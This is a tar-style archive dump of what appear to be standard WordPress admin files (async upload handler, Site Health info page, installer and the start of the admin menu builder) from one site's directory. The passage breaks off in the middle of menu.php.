PATH:
home
/
ediuae
/
pearlandpetalbeautyspa.com
/
8f1b7c
async-upload.php 0000644 00000012744 15156724735 0007703 0 ustar 00 <?php /** * Server-side file upload handler from wp-plupload or other asynchronous upload methods. * * @package WordPress * @subpackage Administration */ if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) { define( 'DOING_AJAX', true ); } if ( ! defined( 'WP_ADMIN' ) ) { define( 'WP_ADMIN', true ); } /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; require_once ABSPATH . 'wp-admin/admin.php'; header( 'Content-Type: text/plain; charset=' . get_option( 'blog_charset' ) ); if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) { require ABSPATH . 'wp-admin/includes/ajax-actions.php'; send_nosniff_header(); nocache_headers(); wp_ajax_upload_attachment(); die( '0' ); } if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ) ); } // Just fetch the detail form for that attachment. if ( isset( $_REQUEST['attachment_id'] ) && (int) $_REQUEST['attachment_id'] && $_REQUEST['fetch'] ) { $id = (int) $_REQUEST['attachment_id']; $post = get_post( $id ); if ( 'attachment' !== $post->post_type ) { wp_die( __( 'Invalid post type.' ) ); } switch ( $_REQUEST['fetch'] ) { case 3: ?> <div class="media-item-wrapper"> <div class="attachment-details"> <?php $thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true ); if ( $thumb_url ) { echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />'; } // Title shouldn't ever be empty, but use filename just in case. $file = get_attached_file( $post->ID ); $file_url = wp_get_attachment_url( $post->ID ); $title = $post->post_title ? $post->post_title : wp_basename( $file ); ?> <div class="filename new"> <span class="media-list-title word-wrap-break-word"><strong><?php echo esc_html( wp_html_excerpt( $title, 60, '…' ) ); ?></strong></span> <span class="media-list-subtitle word-wrap-break-word"><?php echo esc_html( wp_basename( $file ) ); ?></span> <div class="attachment-tools"> <?php if ( current_user_can( 'edit_post', $id ) ) { echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '">' . _x( 'Edit', 'media item' ) . '</a>'; } else { echo '<span class="edit-attachment">' . _x( 'Success', 'media item' ) . '</span>'; } ?> <span class="media-item-copy-container copy-to-clipboard-container edit-attachment"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-text="<?php echo esc_url( $file_url ); ?>" ><?php _e( 'Copy URL to clipboard' ); ?></button> <span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span> </span> </div> </div> </div> </div> <?php break; case 2: add_filter( 'attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2 ); echo get_media_item( $id, array( 'send' => false, 'delete' => true, ) ); break; default: add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); echo get_media_item( $id ); break; } exit; } check_admin_referer( 'media-form' ); $post_id = 0; if ( isset( $_REQUEST['post_id'] ) ) { $post_id = absint( $_REQUEST['post_id'] ); if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) { $post_id = 0; } } $id = media_handle_upload( 'async-upload', $post_id ); if ( is_wp_error( $id ) ) { $button_unique_id = uniqid( 'dismiss-' ); $error_description_id = uniqid( 'error-description-' ); $message = sprintf( '%s <strong>%s</strong><br />%s', sprintf( '<button type="button" id="%1$s" class="dismiss button-link" aria-describedby="%2$s">%3$s</button>', esc_attr( $button_unique_id ), esc_attr( $error_description_id ), __( 'Dismiss' ) ), sprintf( /* translators: %s: Name of the file that failed to upload. */ __( '“%s” has failed to upload.' ), esc_html( $_FILES['async-upload']['name'] ) ), esc_html( $id->get_error_message() ) ); wp_admin_notice( $message, array( 'id' => $error_description_id, 'additional_classes' => array( 'error-div', 'error' ), 'paragraph_wrap' => false, ) ); $speak_message = sprintf( /* translators: %s: Name of the file that failed to upload. */ __( '%s has failed to upload.' ), $_FILES['async-upload']['name'] ); echo '<script>_.delay(function() {wp.a11y.speak(' . wp_json_encode( $speak_message, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ");}, 1500);jQuery( 'button#{$button_unique_id}' ).on( 'click', function() {jQuery(this).parents('div.media-item').slideUp(200, function(){jQuery(this).remove();wp.a11y.speak( wp.i18n.__( 'Error dismissed.' ) );jQuery( '#plupload-browse-button' ).trigger( 'focus' );})});</script>\n"; exit; } if ( $_REQUEST['short'] ) { // Short form response - attachment ID only. echo $id; } else { // Long form response - big chunk of HTML. $type = $_REQUEST['type']; /** * Filters the returned ID of an uploaded attachment. * * The dynamic portion of the hook name, `$type`, refers to the attachment type. * * Possible hook names include: * * - `async_upload_audio` * - `async_upload_file` * - `async_upload_image` * - `async_upload_video` * * @since 2.5.0 * * @param int $id Uploaded attachment ID. */ echo apply_filters( "async_upload_{$type}", $id ); } site-health-info.php 0000644 00000007770 15156724735 0010447 0 ustar 00 <?php /** * Tools Administration Screen. * * @package WordPress * @subpackage Administration */ if ( ! defined( 'ABSPATH' ) ) { die(); } if ( ! class_exists( 'WP_Debug_Data' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php'; } if ( ! class_exists( 'WP_Site_Health' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php'; } $health_check_site_status = WP_Site_Health::get_instance(); wp_admin_notice( __( 'The Site Health check requires JavaScript.' ), array( 'type' => 'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?> <div class="health-check-body health-check-debug-tab hide-if-no-js"> <?php WP_Debug_Data::check_for_updates(); $info = WP_Debug_Data::debug_data(); ?> <h2> <?php _e( 'Site Health Info' ); ?> </h2> <p> <?php /* translators: %s: URL to Site Health Status page. */ printf( __( 'This page can show you every detail about the configuration of your WordPress website. For any improvements that could be made, see the <a href="%s">Site Health Status</a> page.' ), esc_url( admin_url( 'site-health.php' ) ) ); ?> </p> <p> <?php _e( 'If you want to export a handy list of all the information on this page, you can use the button below to copy it to the clipboard. You can then paste it in a text file and save it to your device, or paste it in an email exchange with a support engineer or theme/plugin developer for example.' ); ?> </p> <div class="site-health-copy-buttons"> <div class="copy-button-wrapper"> <button type="button" class="button copy-button" data-clipboard-text="<?php echo esc_attr( WP_Debug_Data::format( $info, 'debug' ) ); ?>"> <?php _e( 'Copy site info to clipboard' ); ?> </button> <span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span> </div> </div> <div id="health-check-debug" class="health-check-accordion"> <?php $sizes_fields = array( 'uploads_size', 'themes_size', 'plugins_size', 'fonts_size', 'wordpress_size', 'database_size', 'total_size' ); foreach ( $info as $section => $details ) { if ( ! isset( $details['fields'] ) || empty( $details['fields'] ) ) { continue; } ?> <h3 class="health-check-accordion-heading"> <button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-<?php echo esc_attr( $section ); ?>" type="button"> <span class="title"> <?php echo esc_html( $details['label'] ); ?> <?php if ( isset( $details['show_count'] ) && $details['show_count'] ) { printf( '(%s)', number_format_i18n( count( $details['fields'] ) ) ); } ?> </span> <?php if ( 'wp-paths-sizes' === $section ) { ?> <span class="health-check-wp-paths-sizes spinner"></span> <?php } ?> <span class="icon"></span> </button> </h3> <div id="health-check-accordion-block-<?php echo esc_attr( $section ); ?>" class="health-check-accordion-panel" hidden="hidden"> <?php if ( isset( $details['description'] ) && ! empty( $details['description'] ) ) { printf( '<p>%s</p>', $details['description'] ); } ?> <table class="widefat striped health-check-table"> <tbody> <?php foreach ( $details['fields'] as $field_name => $field ) { if ( is_array( $field['value'] ) ) { $values = '<ul>'; foreach ( $field['value'] as $name => $value ) { $values .= sprintf( '<li>%s: %s</li>', esc_html( $name ), esc_html( $value ) ); } $values .= '</ul>'; } else { $values = esc_html( $field['value'] ); } if ( in_array( $field_name, $sizes_fields, true ) ) { printf( '<tr><th scope="row">%s</th><td class="%s">%s</td></tr>', esc_html( $field['label'] ), esc_attr( $field_name ), $values ); } else { printf( '<tr><th scope="row">%s</th><td>%s</td></tr>', esc_html( $field['label'] ), $values ); } } ?> </tbody> </table> </div> <?php } ?> </div> </div> install.php 0000644 00000043420 15156724735 0006745 0 ustar 00 <?php /** * WordPress Installer * * @package WordPress * @subpackage Administration */ // Confidence check. if ( false ) { ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Error: PHP is not running</title> </head> <body class="wp-core-ui"> <h1>Error: PHP is not running</h1> <p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p> </body> </html> <?php } /** * We are installing WordPress. * * @since 1.5.1 * @var bool */ define( 'WP_INSTALLING', true ); /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; /** Load WordPress Administration Upgrade API */ require_once ABSPATH . 'wp-admin/includes/upgrade.php'; /** Load WordPress Translation Install API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; /** Load wpdb */ require_once ABSPATH . WPINC . '/class-wpdb.php'; nocache_headers(); $step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0; /** * Display installation header. * * @since 2.5.0 * * @param string $body_classes */ function display_header( $body_classes = '' ) { header( 'Content-Type: text/html; charset=utf-8' ); if ( is_rtl() ) { $body_classes .= 'rtl'; } if ( $body_classes ) { $body_classes = ' ' . $body_classes; } ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title><?php _e( 'WordPress › Installation' ); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body class="wp-core-ui<?php echo $body_classes; ?>"> <p id="logo"><?php _e( 'WordPress' ); ?></p> <?php } // End display_header(). /** * Displays installer setup form. * * @since 2.8.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $error */ function display_setup_form( $error = null ) { global $wpdb; $user_table = ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null ); // Ensure that sites appear in search engines by default. $blog_public = 1; if ( isset( $_POST['weblog_title'] ) ) { $blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public; } $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; if ( ! is_null( $error ) ) { ?> <h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1> <p class="message"><?php echo $error; ?></p> <?php } ?> <form id="setup" method="post" action="install.php?step=2" novalidate="novalidate"> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th> <td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td> </tr> <tr> <th scope="row"><label for="user_login"><?php _e( 'Username' ); ?></label></th> <td> <?php if ( $user_table ) { _e( 'User(s) already exists.' ); echo '<input name="user_name" type="hidden" value="admin" />'; } else { ?> <input name="user_name" type="text" id="user_login" size="25" aria-describedby="user-name-desc" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" /> <p id="user-name-desc"><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p> <?php } ?> </td> </tr> <?php if ( ! $user_table ) : ?> <tr class="form-field form-required user-pass1-wrap"> <th scope="row"> <label for="pass1"> <?php _e( 'Password' ); ?> </label> </th> <td> <div class="wp-pwd"> <?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?> <div class="password-input-wrapper"> <input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result admin-password-desc" /> <div id="pass-strength-result" aria-live="polite"></div> </div> <button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-hidden"></span> <span class="text"><?php _e( 'Hide' ); ?></span> </button> </div> <p id="admin-password-desc"><span class="description important hide-if-no-js"> <strong><?php _e( 'Important:' ); ?></strong> <?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?> <?php _e( 'You will need this password to log in. Please store it in a secure location.' ); ?></span></p> </td> </tr> <tr class="form-field form-required user-pass2-wrap hide-if-js"> <th scope="row"> <label for="pass2"><?php _e( 'Repeat Password' ); ?> <span class="description"><?php _e( '(required)' ); ?></span> </label> </th> <td> <input type="password" name="admin_password2" id="pass2" autocomplete="new-password" spellcheck="false" /> </td> </tr> <tr class="pw-weak"> <th scope="row"><?php _e( 'Confirm Password' ); ?></th> <td> <label> <input type="checkbox" name="pw_weak" class="pw-checkbox" /> <?php _e( 'Confirm use of weak password' ); ?> </label> </td> </tr> <?php endif; ?> <tr> <th scope="row"><label for="admin_email"><?php _e( 'Your Email' ); ?></label></th> <td><input name="admin_email" type="email" id="admin_email" size="25" aria-describedby="admin-email-desc" value="<?php echo esc_attr( $admin_email ); ?>" /> <p id="admin-email-desc"><?php _e( 'Double-check your email address before continuing.' ); ?></p></td> </tr> <?php $blog_privacy_selector_title = has_action( 'blog_privacy_selector' ) ? __( 'Site visibility' ) : __( 'Search engine visibility' ); ?> <tr> <th scope="row"><?php echo $blog_privacy_selector_title; ?></th> <td> <fieldset> <legend class="screen-reader-text"><span><?php echo $blog_privacy_selector_title; ?></span></legend> <?php if ( has_action( 'blog_privacy_selector' ) ) { ?> <input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( 1, $blog_public ); ?> /> <label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br /> <input id="blog-norobots" type="radio" name="blog_public" aria-describedby="public-desc" value="0" <?php checked( 0, $blog_public ); ?> /> <label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label> <p id="public-desc" class="description"><?php _e( 'Note: Discouraging search engines does not block access to your site — it is up to search engines to honor your request.' ); ?></p> <?php /** This action is documented in wp-admin/options-reading.php */ do_action( 'blog_privacy_selector' ); } else { ?> <label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" aria-describedby="privacy-desc" value="0" <?php checked( 0, $blog_public ); ?> /> <?php _e( 'Discourage search engines from indexing this site' ); ?></label> <p id="privacy-desc" class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p> <?php } ?> </fieldset> </td> </tr> </table> <p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p> <input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" /> </form> <?php } // End display_setup_form(). // Let's check to make sure WP isn't already installed. if ( is_blog_installed() ) { display_header(); die( '<h1>' . __( 'Already Installed' ) . '</h1>' . '<p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p>' . '<p class="step"><a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log In' ) . '</a></p>' . '</body></html>' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The minimum required PHP version string. * @global string[] $required_php_extensions The names of required PHP extensions. * @global string $required_mysql_version The minimum required MySQL version string. * @global wpdb $wpdb WordPress database abstraction object. */ global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb; $php_version = PHP_VERSION; $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '</p><p>' . sprintf( /* translators: %s: URL to Update PHP page. */ __( '<a href="%s">Learn more about updating PHP</a>.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '</p><p><em>' . $annotation . '</em>'; } if ( ! $mysql_compat && ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } if ( ! $mysql_compat || ! $php_compat ) { display_header(); die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . $compat . '</p></body></html>' ); } if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) { $missing_extensions = array(); foreach ( $required_php_extensions as $extension ) { if ( extension_loaded( $extension ) ) { continue; } $missing_extensions[] = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */ __( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires the %3$s PHP extension.' ), $version_url, $wp_version, $extension ); } if ( count( $missing_extensions ) > 0 ) { display_header(); die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . implode( '</p><p>', $missing_extensions ) . '</p></body></html>' ); } } if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) { display_header(); die( '<h1>' . __( 'Configuration Error' ) . '</h1>' . '<p>' . sprintf( /* translators: %s: wp-config.php */ __( 'Your %s file has an empty database table prefix, which is not supported.' ), '<code>wp-config.php</code>' ) . '</p></body></html>' ); } // Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install. if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { display_header(); die( '<h1>' . __( 'Configuration Error' ) . '</h1>' . '<p>' . sprintf( /* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */ __( 'The constant %s cannot be defined when installing WordPress.' ), '<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>' ) . '</p></body></html>' ); } /** * @global string $wp_local_package Locale code of the package. * @global WP_Locale $wp_locale WordPress date and time locale object. */ $language = ''; if ( ! empty( $_REQUEST['language'] ) ) { $language = sanitize_locale_name( $_REQUEST['language'] ); } elseif ( isset( $GLOBALS['wp_local_package'] ) ) { $language = $GLOBALS['wp_local_package']; } $scripts_to_print = array( 'jquery' ); switch ( $step ) { case 0: // Step 0. if ( wp_can_install_language_pack() && empty( $language ) ) { $languages = wp_get_available_translations(); if ( $languages ) { $scripts_to_print[] = 'language-chooser'; display_header( 'language-chooser' ); echo '<form id="setup" method="post" action="?step=1">'; wp_install_language_form( $languages ); echo '</form>'; break; } } // Deliberately fall through if we can't reach the translations API. case 1: // Step 1, direct link or from language chooser. if ( ! empty( $language ) ) { $loaded_language = wp_download_language_pack( $language ); if ( $loaded_language ) { load_default_textdomain( $loaded_language ); $GLOBALS['wp_locale'] = new WP_Locale(); } } $scripts_to_print[] = 'user-profile'; display_header(); ?> <h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1> <p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p> <h2><?php _e( 'Information needed' ); ?></h2> <p><?php _e( 'Please provide the following information. Do not worry, you can always change these settings later.' ); ?></p> <?php display_setup_form(); break; case 2: if ( ! empty( $language ) && load_default_textdomain( $language ) ) { $loaded_language = $language; $GLOBALS['wp_locale'] = new WP_Locale(); } else { $loaded_language = 'en_US'; } if ( ! empty( $wpdb->error ) ) { wp_die( $wpdb->error->get_error_message() ); } $scripts_to_print[] = 'user-profile'; display_header(); // Fill in the data we gathered. $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_password = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : ''; $admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; $public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1; // Check email address. $error = false; if ( empty( $user_name ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Please provide a valid username.' ) ); $error = true; } elseif ( sanitize_user( $user_name, true ) !== $user_name ) { display_setup_form( __( 'The username you provided has invalid characters.' ) ); $error = true; } elseif ( $admin_password !== $admin_password_check ) { // TODO: Poka-yoke. display_setup_form( __( 'Your passwords do not match. Please try again.' ) ); $error = true; } elseif ( empty( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'You must provide an email address.' ) ); $error = true; } elseif ( ! is_email( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like <code>username@example.com</code>.' ) ); $error = true; } if ( false === $error ) { $wpdb->show_errors(); $result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language ); ?> <h1><?php _e( 'Success!' ); ?></h1> <p><?php _e( 'WordPress has been installed. Thank you, and enjoy!' ); ?></p> <table class="form-table install-success"> <tr> <th><?php _e( 'Username' ); ?></th> <td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td> </tr> <tr> <th><?php _e( 'Password' ); ?></th> <td> <?php if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ) : ?> <code><?php echo esc_html( $result['password'] ); ?></code><br /> <?php endif; ?> <p><?php echo $result['password_message']; ?></p> </td> </tr> </table> <p class="step"><a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p> <?php } break; } if ( ! wp_is_mobile() ) { ?> <script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script> <?php } wp_print_scripts( $scripts_to_print ); ?> <script type="text/javascript"> jQuery( function( $ ) { $( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' ); } ); </script> </body> </html> menu.php 0000644 00000042730 15156724735 0006246 0 ustar 00 <?php /** * Build Administration Menu. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Constructs the admin menu. * * The elements in the array are: * 0: Menu item name. * 1: Minimum level or capability required. * 2: The URL of the item's file. * 3: Page title. * 4: Classes. * 5: ID. * 6: Icon for top level menu. * * @global array $menu */ $menu[2] = array( __( 'Dashboard' ), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' ); if ( is_multisite() ) { $submenu['index.php'][5] = array( __( 'My Sites' ), 'read', 'my-sites.php' ); } if ( ! is_multisite() || current_user_can( 'update_core' ) ) { $update_data = wp_get_update_data(); } if ( ! is_multisite() ) { if ( current_user_can( 'update_core' ) ) { $capability = 'update_core'; } elseif ( current_user_can( 'update_plugins' ) ) { $capability = 'update_plugins'; } elseif ( current_user_can( 'update_themes' ) ) { $capability = 'update_themes'; } else { $capability = 'update_languages'; } $submenu['index.php'][10] = array( sprintf( /* translators: %s: Number of pending updates. */ __( 'Updates %s' ), sprintf( '<span class="update-plugins count-%s"><span class="update-count">%s</span></span>', $update_data['counts']['total'], number_format_i18n( $update_data['counts']['total'] ) ) ), $capability, 'update-core.php', ); unset( $capability ); } $menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); // $menu[5] = Posts. $menu[10] = array( __( 'Media' ), 'upload_files', 'upload.php', '', 'menu-top menu-icon-media', 'menu-media', 'dashicons-admin-media' ); $submenu['upload.php'][5] = array( __( 'Library' ), 'upload_files', 'upload.php' ); $submenu['upload.php'][10] = array( __( 'Add Media File' ), 'upload_files', 'media-new.php' ); $submenu_index = 15; foreach ( get_taxonomies_for_attachments( 'objects' ) as $taxonomy ) { if ( ! $taxonomy->show_ui || ! $taxonomy->show_in_menu ) { continue; } $submenu['upload.php'][ $submenu_index++ ] = array( esc_attr( $taxonomy->labels->menu_name ), $taxonomy->cap->manage_terms, 'edit-tags.php?taxonomy=' . $taxonomy->name . '&post_type=attachment' ); } unset( $taxonomy, $submenu_index ); $menu[15] = array( __( 'Links' ), 'manage_links', 'link-manager.php', '', 'menu-top menu-icon-links', 'menu-links', 'dashicons-admin-links' ); $submenu['link-manager.php'][5] = array( _x( 'All Links', 'admin menu' ), 'manage_links', 'link-manager.php' ); $submenu['link-manager.php'][10] = array( __( 'Add Link' ), 'manage_links', 'link-add.php' ); $submenu['link-manager.php'][15] = array( __( 'Link Categories' ), 'manage_categories', 'edit-tags.php?taxonomy=link_category' ); // $menu[20] = Pages. // Avoid the comment count query for users who cannot edit_posts. if ( current_user_can( 'edit_posts' ) ) { $awaiting_moderation = wp_count_comments(); $awaiting_moderation = $awaiting_moderation->moderated; $awaiting_moderation_i18n = number_format_i18n( $awaiting_moderation ); /* translators: %s: Number of comments. */ $awaiting_moderation_text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_moderation ), $awaiting_moderation_i18n ); $menu[25] = array( /* translators: %s: Number of comments. */ sprintf( __( 'Comments %s' ), '<span class="awaiting-mod count-' . absint( $awaiting_moderation ) . '"><span class="pending-count" aria-hidden="true">' . $awaiting_moderation_i18n . '</span><span class="comments-in-moderation-text screen-reader-text">' . $awaiting_moderation_text . '</span></span>' ), 'edit_posts', 'edit-comments.php', '', 'menu-top menu-icon-comments', 'menu-comments', 'dashicons-admin-comments', ); unset( $awaiting_moderation ); } $submenu['edit-comments.php'][0] = array( __( 'All Comments' ), 'edit_posts', 'edit-comments.php' ); $_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group. $post_types = (array) get_post_types( array( 'show_ui' => true, '_builtin' => false, 'show_in_menu' => true, ) ); $builtin = array( 'post', 'page' ); foreach ( array_merge( $builtin, $post_types ) as $post_type ) { $post_type_obj = get_post_type_object( $post_type ); // Check if it should be a submenu. if ( true !== $post_type_obj->show_in_menu ) { continue; } $post_type_menu_position = is_int( $post_type_obj->menu_position ) ? $post_type_obj->menu_position : ++$_wp_last_object_menu; // If we're to use $_wp_last_object_menu, increment it first. $post_type_for_id = sanitize_html_class( $post_type ); $menu_icon = 'dashicons-admin-post'; if ( is_string( $post_type_obj->menu_icon ) ) { // Special handling for an empty div.wp-menu-image, data:image/svg+xml, and Dashicons. if ( 'none' === $post_type_obj->menu_icon || 'div' === $post_type_obj->menu_icon || str_starts_with( $post_type_obj->menu_icon, 'data:image/svg+xml;base64,' ) || str_starts_with( $post_type_obj->menu_icon, 'dashicons-' ) ) { $menu_icon = $post_type_obj->menu_icon; } else { $menu_icon = esc_url( $post_type_obj->menu_icon ); } } elseif ( in_array( $post_type, $builtin, true ) ) { $menu_icon = 'dashicons-admin-' . $post_type; } $menu_class = 'menu-top menu-icon-' . $post_type_for_id; // 'post' special case. if ( 'post' === $post_type ) { $menu_class .= ' open-if-no-js'; $post_type_file = 'edit.php'; $post_new_file = 'post-new.php'; $edit_tags_file = 'edit-tags.php?taxonomy=%s'; } else { $post_type_file = "edit.php?post_type=$post_type"; $post_new_file = "post-new.php?post_type=$post_type"; $edit_tags_file = "edit-tags.php?taxonomy=%s&post_type=$post_type"; } if ( in_array( $post_type, $builtin, true ) ) { $post_type_menu_id = 'menu-' . $post_type_for_id . 's'; } else { $post_type_menu_id = 'menu-posts-' . $post_type_for_id; } /* * If $post_type_menu_position is already populated or will be populated * by a hard-coded value below, increment the position. */ $core_menu_positions = array( 59, 60, 65, 70, 75, 80, 85, 99 ); while ( isset( $menu[ $post_type_menu_position ] ) || in_array( $post_type_menu_position, $core_menu_positions, true ) ) { ++$post_type_menu_position; } $menu[ $post_type_menu_position ] = array( esc_attr( $post_type_obj->labels->menu_name ), $post_type_obj->cap->edit_posts, $post_type_file, '', $menu_class, $post_type_menu_id, $menu_icon ); $submenu[ $post_type_file ][5] = array( $post_type_obj->labels->all_items, $post_type_obj->cap->edit_posts, $post_type_file ); $submenu[ $post_type_file ][10] = array( $post_type_obj->labels->add_new_item, $post_type_obj->cap->create_posts, $post_new_file ); $submenu_index = 15; foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) { if ( ! $taxonomy->show_ui || ! $taxonomy->show_in_menu || ! in_array( $post_type, (array) $taxonomy->object_type, true ) ) { continue; } $submenu[ $post_type_file ][ $submenu_index++ ] = array( esc_attr( $taxonomy->labels->menu_name ), $taxonomy->cap->manage_terms, sprintf( 